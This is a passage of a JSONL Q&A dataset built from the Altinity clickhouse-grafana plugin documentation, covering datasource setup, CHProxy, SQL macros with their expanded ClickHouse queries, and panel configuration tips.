types](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/03_filter_click_to_plugin.png)", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920607"}
{"id": "gh_58ec2d968e59", "question": "How to: Access to ClickHouse via HTTP / HTTPS", "question_body": "About Altinity/clickhouse-grafana", "answer": "Page configuration is standard\n\n![settings](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/04_datasource_settings.png)\n\nThere is a small feature - ClickHouse treats HTTP Basic Authentication credentials as a database user and will try to run queries using its name.", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920615"}
{"id": "gh_71a2b26f505c", "question": "How to: [CHProxy](https://github.com/ContentSquare/chproxy) (optional)", "question_body": "About Altinity/clickhouse-grafana", "answer": "Using of [CHProxy](https://github.com/ContentSquare/chproxy) will bring additional features:\n\n* Easily setup `HTTPS` access to ClickHouse as shown [here](https://github.com/ContentSquare/chproxy#authorize-users-by-passwords-via-https)\nto provide secure access.\n* Limit concurrency and execution time for requests from `Grafana` as shown [here](https://github.com/ContentSquare/chproxy#spread-selects-from-reporting-apps-among-cluster-nodes)\nto prevent `ClickHouse` overloading from `Grafana`.\n* Protection against request bursts for dashboards with numerous graphs. `CHProxy` allows queueing requests and execute them sequentially.\nTo learn more - read about params `max_queue_size` and `max_queue_time` at [CHProxy](https://github.com/ContentSquare/chproxy) page.\n* Response caching for the most frequent queries as shown [here](https://github.com/ContentSquare/chproxy#caching).\n\n`Caching` will protect `ClickHouse` from excessive refreshes and will be optimal option for popular dashboards.\n> Hint - if you need to cache requests like `last 24h` where timestamp changes constantly then try to use `Round` option at `Raw Editor`", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920623"}
{"id": "gh_1db02d50771e", "question": "How to: Query setup", "question_body": "About Altinity/clickhouse-grafana", "answer": "Query setup interface:\n\n![query editor image](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/05_query_settings.png)\n\nFirst row `FROM` contains two options: database and table. Table values depends on a selected database.\nNext rows contains selectors for time filtering:\n\nColumn timestamp time\n* DateTime ([DateTime](https://clickhouse.com/docs/en/sql-reference/data-types/datetime/))\n* DateTime64 ([DateTime64](https://clickhouse.com/docs/en/sql-reference/data-types/datetime64/))\n* TimeStamp ([UInt32](https://clickhouse.com/docs/en/sql-reference/data-types/int-uint/)).\n\nTimestamp column\nDate column\n\n> `Timestmap column` are required for time-based macros and functions because all analytics based on these values.\n> Plugin will try to detect Date, Date32 column automatically\n\nButton `Go to Query` is just a toggler to Raw SQL Editor", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920632"}
{"id": "gh_05a1293036d7", "question": "How to: Raw SQL Editor", "question_body": "About Altinity/clickhouse-grafana", "answer": "Raw Editor allows custom SQL queries to be written:\n\n![raw editor image](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/06_raw_sql_editor.png)\n\nRaw Editor allows typing queries, get info about functions and macros, format queries as Clickhouse do.\nTo Execute query on server press \"Run Query\" or just leave focus from SQL editor textarea.\n\nUnder the Editor you can find options which allows setup rounding, time column step \nand `Add metadata` to SQL query which allows know which dashboard and user produce workload to your ClickHouse server.\n\nPress `Show Generated SQL` for see a raw query (all macros and functions have already been replaced) which will be sent directly to ClickHouse.\n![generated sql](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/07_generated_sql.png)", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920639"}
{"id": "gh_a5bbe2164a1c", "question": "How to: Macros support", "question_body": "About Altinity/clickhouse-grafana", "answer": "Plugin supports the following marcos:\n\n* $table - replaced with selected table name from Query Builder\n* $dateCol - replaced with `Column:Date` value from Query Builder\n* $dateTimeCol - replaced with `Column:DateTime` or `Column:TimeStamp` value from Query Builder\n* $from - replaced with (timestamp with ms)/1000 value of UI selected \"Time Range:From\"\n* $to - replaced with (timestamp with ms)/1000 value of UI selected \"Time Range:To\"\n* $interval - replaced with selected \"Group by a time interval\" value (as a number of seconds)\n* $timeFilter - replaced with currently selected \"Time Range\".\n  Requires Column:Date and Column:DateTime or Column:TimeStamp to be selected.\n* $timeFilterByColumn($column) - replaced with currently selected \"Time Range\" for a column passed as `$column` argument. Use it in queries or query variables as `...WHERE $timeFilterColumn($column)...` or `...WHERE $timeFilterColumn(created_at)...`.\n* $timeSeries - replaced with special ClickHouse construction to convert results as time-series data. Use it as \"SELECT $timeSeries...\".\n* $naturalTimeSeries - replaced with special ClickHouse construction to convert results as time-series with in a logical/natural breakdown. Use it as \"SELECT $naturalTimeSeries...\".\n* $unescape - unescapes variable value by removing single quotes. Used for multiple-value string variables: \"SELECT $unescape($column) FROM requests WHERE $unescape($column) = 5\"\n* $adhoc - replaced with a rendered ad-hoc filter expression, or \"1\" if no ad-hoc filters exist. Since ad-hoc applies automatically only to outer queries the macros can be used for filtering in inner queries.\n\nA description of macros is available by typing their names in Raw Editor", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920649"}
{"id": "gh_38e16189c47e", "question": "How to: $rate(cols...) - converts query results as \"change rate per interval\"", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$rate(countIf(Type = 200) AS good, countIf(Type != 200) AS bad) FROM requests\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    good / runningDifference(t / 1000) AS goodRate,\n    bad / runningDifference(t / 1000) AS badRate\nFROM\n(\n    SELECT\n        (intDiv(toUInt32(EventTime), 60)) * 1000 AS t,\n        countIf(Type = 200) AS good,\n        countIf(Type != 200) AS bad\n    FROM requests\n    WHERE ((EventDate >= toDate(1482796747)) AND (EventDate <= toDate(1482853383))) AND ((EventTime >= toDateTime(1482796747)) AND (EventTime <= toDateTime(1482853383)))\n    GROUP BY t\n    ORDER BY t\n)\n```\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920658"}
{"id": "gh_332449c5c63a", "question": "How to: $columns(key, value) - query values as array of [key, value], where key will be used as label", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$columns(OSName, count(*) c)\nFROM requests\nINNER JOIN oses USING (OS)\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    groupArray((OSName, c)) AS groupArr\nFROM\n(\n    SELECT\n        (intDiv(toUInt32(EventTime), 60) * 60) * 1000 AS t,\n        OSName,\n        count(*) AS c\n    FROM requests\n    INNER JOIN oses USING (OS)\n    WHERE ((EventDate >= toDate(1482796627)) AND (EventDate <= toDate(1482853383))) AND ((EventTime >= toDateTime(1482796627)) AND (EventTime <= toDateTime(1482853383)))\n    GROUP BY\n        t,\n        OSName\n    ORDER BY\n        t,\n        OSName\n)\nGROUP BY t\nORDER BY t\n```\n\nThis will help to build the next graph:\n\n![req_by_os image](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/08_requests_by_os.png)\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920668"}
{"id": "gh_ccdbd9fe2ed6", "question": "How to: $columnsMs(key, value) - same as $columns but for time series with ms", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$columnsMs(OSName, count(*) c)\nFROM requests\nINNER JOIN oses USING (OS)\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    groupArray((OSName, c)) AS groupArr\nFROM\n(\n    SELECT\n        $timeSeriesMs AS t,\n        OSName,\n        count(*) AS c\n    FROM requests\n    INNER JOIN oses USING (OS)\n    WHERE ((EventDate >= toDate(1482796627)) AND (EventDate <= toDate(1482853383))) AND ((EventTime >= toDateTime64(1482796627,3)) AND (EventTime <= toDateTime64(1482853383,3)))\n    GROUP BY\n        t,\n        OSName\n    ORDER BY\n        t,\n        OSName\n)\nGROUP BY t\nORDER BY t\n```\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920676"}
{"id": "gh_931c487c563e", "question": "How to: $lttb(buckets_number, [field1, ... fieldN], x_field, y_field) - allow show down-sampled time series which will contains more outliers than avg or other kind of aggregation", "question_body": "About Altinity/clickhouse-grafana", "answer": "If bucket_number is `auto`, then it will calculated as `toUInt64( ($to-$from) / $interval )`\nExample usage:\n\n```sql\n$lttb(auto, category, event_time, count(*) c)\nFROM requests GROUP BY category\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT category, lttb_result.1 AS event_time, lttb_result.2 AS c FROM (\n    SELECT category, untuple(arrayJoin(lttb(toUInt64( ($to - $from) / $interval ))(event_time, cont(*) AS c))) AS lttb_result\n    FROM requests WHERE $timeFilter GROUP BY category\n) ORDER BY event_time\n```\n\n---\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920683"}
{"id": "gh_237ba83045ca", "question": "How to: $rateColumns(key, value) - is a combination of $columns and $rate", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$rateColumns(OS, count(*) c) FROM requests\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    arrayMap(lambda(tuple(a), (a.1, a.2 / runningDifference(t / 1000))), groupArr)\nFROM\n(\n    SELECT\n        t,\n        groupArray((OS, c)) AS groupArr\n    FROM\n    (\n        SELECT\n            (intDiv(toUInt32(EventTime), 60) * 60) * 1000 AS t,\n            OS,\n            count(*) AS c\n        FROM requests\n        WHERE ((EventDate >= toDate(1482796867)) AND (EventDate <= toDate(1482853383))) AND ((EventTime >= toDateTime(1482796867)) AND (EventTime <= toDateTime(1482853383)))\n        GROUP BY\n            t,\n            OS\n        ORDER BY\n            t,\n            OS\n    )\n    GROUP BY t\n    ORDER BY t\n)\n\n```\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920698"}
{"id": "gh_abb680253f18", "question": "How to: $rateColumnsAggregated(key, subkey, aggFunction1, value1, ... aggFunctionN, valueN) - if you need calculate `rate` for higher cardinality dimension and then aggregate by lower cardinality dimension", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$rateColumnsAggregated(datacenter, concat(datacenter,interface) AS dc_interface, sum, tx_bytes * 1014 AS tx_kbytes, sum, max(rx_bytes) AS rx_bytes) FROM traffic\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    datacenter,\n    sum(tx_kbytesRate) AS tx_bytesRateAgg,\n    sum(rx_bytesRate) AS rx_bytesRateAgg\nFROM\n(\n    SELECT\n        t,\n        datacenter,\n        dc_interface,\n        tx_kbytes / runningDifference(t / 1000) AS tx_kbytesRate,\n        rx_bytes / runningDifference(t / 1000) AS rx_bytesRate\n    FROM\n    (\n        SELECT\n            (intDiv(toUInt32(event_time), 60) * 60) * 1000 AS t,\n            datacenter,\n            concat(datacenter,interface) AS dc_interface,\n            max(tx_bytes * 1024) AS tx_kbytes,\n            max(rx_bytes) AS rx_bytes\n        FROM traffic\n        WHERE ((event_date >= toDate(1482796867)) AND (event_date <= toDate(1482853383))) \n          AND ((event_time >= toDateTime(1482796867)) AND (event_time <= toDateTime(1482853383)))\n        GROUP BY\n            t,\n            datacenter,\n            dc_interface\n        ORDER BY\n            t,\n            datacenter,\n            dc_interface\n    )\n)\nGROUP BY\n  t,\n  datacenter\nORDER BY \n  datacenter,\n  t\n```\n\nlook [issue 386](https://github.com/Altinity/clickhouse-grafana/issues/386) for reasons for implementation  \n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920710"}
{"id": "gh_9a712dce9aec", "question": "How to: $perSecond(cols...) - converts query results as \"change rate per interval\" for Counter-like(growing only) metrics", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$perSecond(Requests) FROM requests\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    if(runningDifference(max_0) < 0, nan, runningDifference(max_0) / runningDifference(t / 1000)) AS max_0_PerSecond\nFROM\n(\n    SELECT\n        (intDiv(toUInt32(EventTime), 60) * 60) * 1000 AS t,\n        max(Requests) AS max_0\n    FROM requests\n    WHERE ((EventDate >= toDate(1535711819)) AND (EventDate <= toDate(1535714715)))\n    AND ((EventTime >= toDateTime(1535711819)) AND (EventTime <= toDateTime(1535714715)))\n    GROUP BY t\n    ORDER BY t\n)\n```\n\n// see [issue 78](https://github.com/Altinity/clickhouse-grafana/issues/78) for the background\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920717"}
{"id": "gh_56d8654d8463", "question": "How to: $perSecondColumns(key, value) - is a combination of $columns and $perSecond for Counter-like metrics", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$perSecondColumns(Protocol, Requests) FROM requests WHERE Protocol in ('udp','tcp')\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    groupArray((perSecondColumns, max_0_PerSecond)) AS groupArr\nFROM\n(\n    SELECT\n        t,\n        Protocol,\n        if(runningDifference(max_0) < 0 OR neighbor(perSecondColumns,-1,perSecondColumns) != perSecondColumns, nan, runningDifference(max_0) / runningDifference(t / 1000)) AS max_0_PerSecond\n    FROM\n    (\n        SELECT\n            (intDiv(toUInt32(EventTime), 60) * 60) * 1000 AS t,\n            Protocol AS perSecondColumns,\n            max(Requests) AS max_0\n        FROM requests\n        WHERE ((EventDate >= toDate(1535711819)) AND (EventDate <= toDate(1535714715)))\n        AND ((EventTime >= toDateTime(1535711819)) AND (EventTime <= toDateTime(1535714715)))\n        AND (Protocol IN ('udp', 'tcp'))\n        GROUP BY\n            t,\n            Protocol\n        ORDER BY\n            t,\n            Protocol\n    )\n)\nGROUP BY t\nORDER BY t\n```\n\n// see [issue 80](https://github.com/Altinity/clickhouse-grafana/issues/80) for the background\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920725"}
{"id": "gh_970913a16fe4", "question": "How to: $delta(cols...) - converts query results as \"delta value inside interval\" for Counter-like(growing only) metrics, will negative if counter reset", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$delta(Requests) FROM requests\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    runningDifference(max_0) AS max_0_Delta\nFROM\n(\n    SELECT\n        (intDiv(toUInt32(EventTime), 60) * 60) * 1000 AS t,\n        max(Requests) AS max_0\n    FROM requests\n    WHERE ((EventDate >= toDate(1535711819)) AND (EventDate <= toDate(1535714715)))\n    AND ((EventTime >= toDateTime(1535711819)) AND (EventTime <= toDateTime(1535714715)))\n    GROUP BY t\n    ORDER BY t\n)\n```\n\n// see [issue 455](https://github.com/Altinity/clickhouse-grafana/issues/455) for the background\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920736"}
{"id": "gh_8b1305670548", "question": "How to: $deltaColumns(key, value) - is a combination of $columns and $delta for Counter-like metrics", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$deltaColumns(Protocol, Requests) FROM requests WHERE Protocol in ('udp','tcp')\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    groupArray((deltaColumns, max_0_Delta)) AS groupArr\nFROM\n(\n    SELECT\n        t,\n        deltaColumns,\n        if (neighbor(deltaColumns,-1,deltaColumns) != deltaColumns, 0, runningDifference(max_0)) AS max_0_Delta\n    FROM\n    (\n        SELECT\n            (intDiv(toUInt32(EventTime), 60) * 60) * 1000 AS t,\n            Protocol AS deltaColumns,\n            max(Requests) AS max_0\n        FROM requests\n        WHERE ((EventDate >= toDate(1535711819)) AND (EventDate <= toDate(1535714715)))\n        AND ((EventTime >= toDateTime(1535711819)) AND (EventTime <= toDateTime(1535714715)))\n        AND (Protocol IN ('udp', 'tcp'))\n        GROUP BY\n            t,\n            Protocol\n        ORDER BY\n            t,\n            Protocol\n    )\n)\nGROUP BY t\nORDER BY t\n```\n\n// see [issue 455](https://github.com/Altinity/clickhouse-grafana/issues/455) for the background\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920744"}
{"id": "gh_72fcd89015d7", "question": "How to: $increase(cols...) - converts query results as \"non-negative delta value inside interval\" for Counter-like(growing only) metrics, will zero if counter reset and delta less zero", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$increase(Requests) FROM requests\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    if(runningDifference(max_0) < 0, 0, runningDifference(max_0) ) AS max_0_Increase\nFROM\n(\n    SELECT\n        (intDiv(toUInt32(EventTime), 60) * 60) * 1000 AS t,\n        max(Requests) AS max_0\n    FROM requests\n    WHERE ((EventDate >= toDate(1535711819)) AND (EventDate <= toDate(1535714715)))\n    AND ((EventTime >= toDateTime(1535711819)) AND (EventTime <= toDateTime(1535714715)))\n    GROUP BY t\n    ORDER BY t\n)\n```\n\n// see [issue 455](https://github.com/Altinity/clickhouse-grafana/issues/455) for the background\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920755"}
{"id": "gh_f677a466a74b", "question": "How to: $increaseColumns(key, value) - is a combination of $columns and $increase for Counter-like metrics", "question_body": "About Altinity/clickhouse-grafana", "answer": "Example usage:\n\n```sql\n$increaseColumns(Protocol, Requests) FROM requests WHERE Protocol in ('udp','tcp')\n```\n\nQuery will be transformed into:\n\n```sql\nSELECT\n    t,\n    groupArray((increaseColumns, max_0_Increase)) AS groupArr\nFROM\n(\n    SELECT\n        t,\n        Protocol,\n        if (runningDifference(max_0) < 0 OR neighbor(increaseColumns,-1,increaseColumns) != increaseColumns, 0, runningDifference(max_0)) AS max_0_Increase\n    FROM\n    (\n        SELECT\n            (intDiv(toUInt32(EventTime), 60) * 60) * 1000 AS t,\n            Protocol AS increaseColumns,\n            max(Requests) AS max_0\n        FROM requests\n        WHERE ((EventDate >= toDate(1535711819)) AND (EventDate <= toDate(1535714715)))\n        AND ((EventTime >= toDateTime(1535711819)) AND (EventTime <= toDateTime(1535714715)))\n        AND (Protocol IN ('udp', 'tcp'))\n        GROUP BY\n            t,\n            Protocol\n        ORDER BY\n            t,\n            Protocol\n    )\n)\nGROUP BY t\nORDER BY t\n```\n\n// see [issue 455](https://github.com/Altinity/clickhouse-grafana/issues/455) for the background\n\n---", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920762"}
{"id": "gh_835fd2bb211b", "question": "How to: Query Variable", "question_body": "About Altinity/clickhouse-grafana", "answer": "If you add a template variable of the type `Query`, you can write a ClickHouse query that can\nreturn things like measurement names, key names or key values that are shown as a dropdown select box.\n\nFor example, you can have a variable that contains all values for the `hostname` column in a table if you specify a query like this in the templating variable *Query* setting.\n\n```sql\nSELECT hostname FROM host\n```\n\nTo use time range dependent macros like `timeFilterByColumn($column)` in your query the refresh mode of the template variable needs to be set to *On Time Range Change*.\n\n```sql\nSELECT event_name FROM event_log WHERE $timeFilterByColumn(time_column)\n```\n\nAnother option is a query that can create a key/value variable. The query should return two columns that are named `__text` and `__value`. The `__text` column value should be unique (if it is not unique then the first value will use). The options in the dropdown will have a text and value that allows you to have a friendly name as text and an id as the value. An example query with `hostname` as the text and `id` as the value:\n\n```sql\nSELECT hostname AS __text, id AS __value FROM host\n```\n\nYou can also create nested variables. For example if you had another variable named `region`. Then you could have the hosts variable only show hosts from the current selected region with a query like this (if `region` is a multi-value variable then use the `IN` comparison operator rather than `=` to match against multiple values):\n\n```sql\nSELECT hostname FROM host WHERE region IN ($region)\n```", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920774"}
{"id": "gh_60619eec85ca", "question": "How to: Conditional Predicate", "question_body": "About Altinity/clickhouse-grafana", "answer": "If you are using templating to feed your predicate, you will face performance degradation when everything will select as the predicate, and it's not necessary. It's also true for textbox when nothing is entered, you have to write specific sql code to handle that.\n\nTo resolve this issue a new macro $conditionalTest(SQL Predicate,$variable) can be used to remove some part of the query.\nIf the variable is type query with all selected or if the variable is a textbox with nothing enter, then the SQL Predicate is not include in the generated query.\n\nTo give an example:\nwith 2 variables\n  $var query with include All option\n  $text textbox\n  $text_with_single_quote textbox with single quote\n\n  The following query\n\n  ```sql\n   SELECT\n     $timeSeries as t,\n     count()\n     FROM $table\n     WHERE $timeFilter\n      $conditionalTest(AND toLowerCase(column) in ($var),$var)\n      $conditionalTest(AND toLowerCase(column2) like '%$text%',$text)\n      $conditionalTest(AND toLowerCase(column3) ilike ${text_with_single_quote:sqlstring},$text_with_single_quote)\n     GROUP BY t\n     ORDER BY t\n  ```\n\n   if the `$var` is selected as \"All\" value, and the `$text` variable is empty, the query will be converted into:\n\n  ```sql\n    SELECT\n      $timeSeries as t,\n      count()\n       FROM $table\n       WHERE $timeFilter\n     GROUP BY t\n     ORDER BY t\n  ```\n\n  If the `$var` template variable have select some elements, and the `$text` template variable has at least one char, the query will be converted into:\n\n  ```sql\n  SELECT\n      $timeSeries as t,\n      count()\n       FROM $table\n       WHERE $timeFilter\n     AND toLowerCase(column) in ($var)\n     AND toLowerCase(column2) like '%$text%'\n     GROUP BY t\n     ORDER BY t\n ```", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920784"}
{"id": "gh_2b581af2c44f", "question": "How to: Extended Conditional Test with Else Clause", "question_body": "About Altinity/clickhouse-grafana", "answer": "A new signature of the macro now supports three parameters:\n\n```sql\n$conditionalTest(SQL_if, SQL_else, $variable)\n ```\n\nIf the variable is type query with all selected or if the variable is a textbox with nothing entered, then the SQL_if is included in the generated query. Otherwise, the SQL_else is included.\n\nTo give an example:\nwith 2 variables\n  $var query with include All option\n  $text textbox\n  $text_with_single_quote textbox with single quote\n\n  The following query\n\n  ```sql\n   SELECT\n     $timeSeries as t,\n     count()\n     FROM $table\n     WHERE $timeFilter\n      $conditionalTest(AND toLowerCase(column) in ($var), AND toLowerCase(column) in ($var), $var)\n      $conditionalTest(AND toLowerCase(column2) like '%$text%', AND toLowerCase(column2) like '%$text%', $text)\n      $conditionalTest(AND toLowerCase(column3) ilike ${text_with_single_quote:sqlstring}, AND toLowerCase(column3) ilike ${text_with_single_quote:sqlstring}, $text_with_single_quote)\n     GROUP BY t\n     ORDER BY t\n  ```\n\n   if the `$var` is selected as \"All\" value, and the `$text` variable is empty, the query will be converted into:\n\n  ```sql\n    SELECT\n      $timeSeries as t,\n      count()\n       FROM $table\n       WHERE $timeFilter\n     GROUP BY t\n     ORDER BY t\n  ```\n\n  If the `$var` template variable have select some elements, and the `$text` template variable has at least one char, the query will be converted into:\n\n  ```sql\n  SELECT\n      $timeSeries as t,\n      count()\n       FROM $table\n       WHERE $timeFilter\n     AND toLowerCase(column) in ($var)\n     AND toLowerCase(column2) like '%$text%'\n     GROUP BY t\n     ORDER BY t\n ```", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920794"}
{"id": "gh_226aa3653151", "question": "How to: Pie Chart ([https://grafana.com/plugins/grafana-piechart-panel](https://grafana.com/plugins/grafana-piechart-panel))", "question_body": "About Altinity/clickhouse-grafana", "answer": "Remember that pie chart plugin is not welcome for using in grafana - see [Grafana BLog - Friends don't let friends abuse pie charts](https://grafana.com/blog/2015/12/04/friends-dont-let-friends-abuse-pie-charts)\n\n![top users](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/09_requests_by_user_pie_chart.png)\n\nTo create \"Top 5\" diagram we will need two queries: one for 'Top 5' rows and one for 'Other' row.\n\nTop5:\n\n```sql\nSELECT\n    1 AS t, /* fake timestamp value */\n    UserName,\n    sum(Requests) AS Reqs\nFROM requests\nGROUP BY t, UserName\nORDER BY Reqs DESC\nLIMIT 5\n```\n\nOther:\n\n```sql\nSELECT\n    1 AS t, /* fake timestamp value */\n    UserName,\n    sum(Requests) AS Reqs\nFROM requests\nGROUP BY t, UserName\nORDER BY Reqs DESC\nLIMIT 5,10000000000000 /* select some ridiculous number after first 5 */\n```", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920802"}
{"id": "gh_d321806ee838", "question": "How to: Table view ([https://grafana.com/plugins/table](https://grafana.com/plugins/table))", "question_body": "About Altinity/clickhouse-grafana", "answer": "There are don't contain any tricks in displaying time-series data. To print summary data, omit time column, and format the result as \"Table\" and press \"Run query\".\n\n```sql\nSELECT\n    UserName,\n    sum(Requests) as Reqs\nFROM requests\nGROUP BY\n    UserName\nORDER BY\n    Reqs\n```\n\n![table view](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/10_table_view.png)", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920809"}
{"id": "gh_4041f0e9e3f3", "question": "How to: Vertical histogram ([https://grafana.com/plugins/graph](https://grafana.com/plugins/graph))", "question_body": "About Altinity/clickhouse-grafana", "answer": "![vertical histogram](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/11_vertical_histogram.png)\n\nTo make the vertical histogram from graph panel we will need to edit some settings:\n\n* Display -> Draw Modes -> Bars\n* Axes -> X-Axis -> Mode -> Series\n\nYou can use next query:\n\n```sql\n$columns(\n    Size,\n    sum(Items) Items)\nFROM some_table\n```\n\n// It is also possible to use query without macros", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920815"}
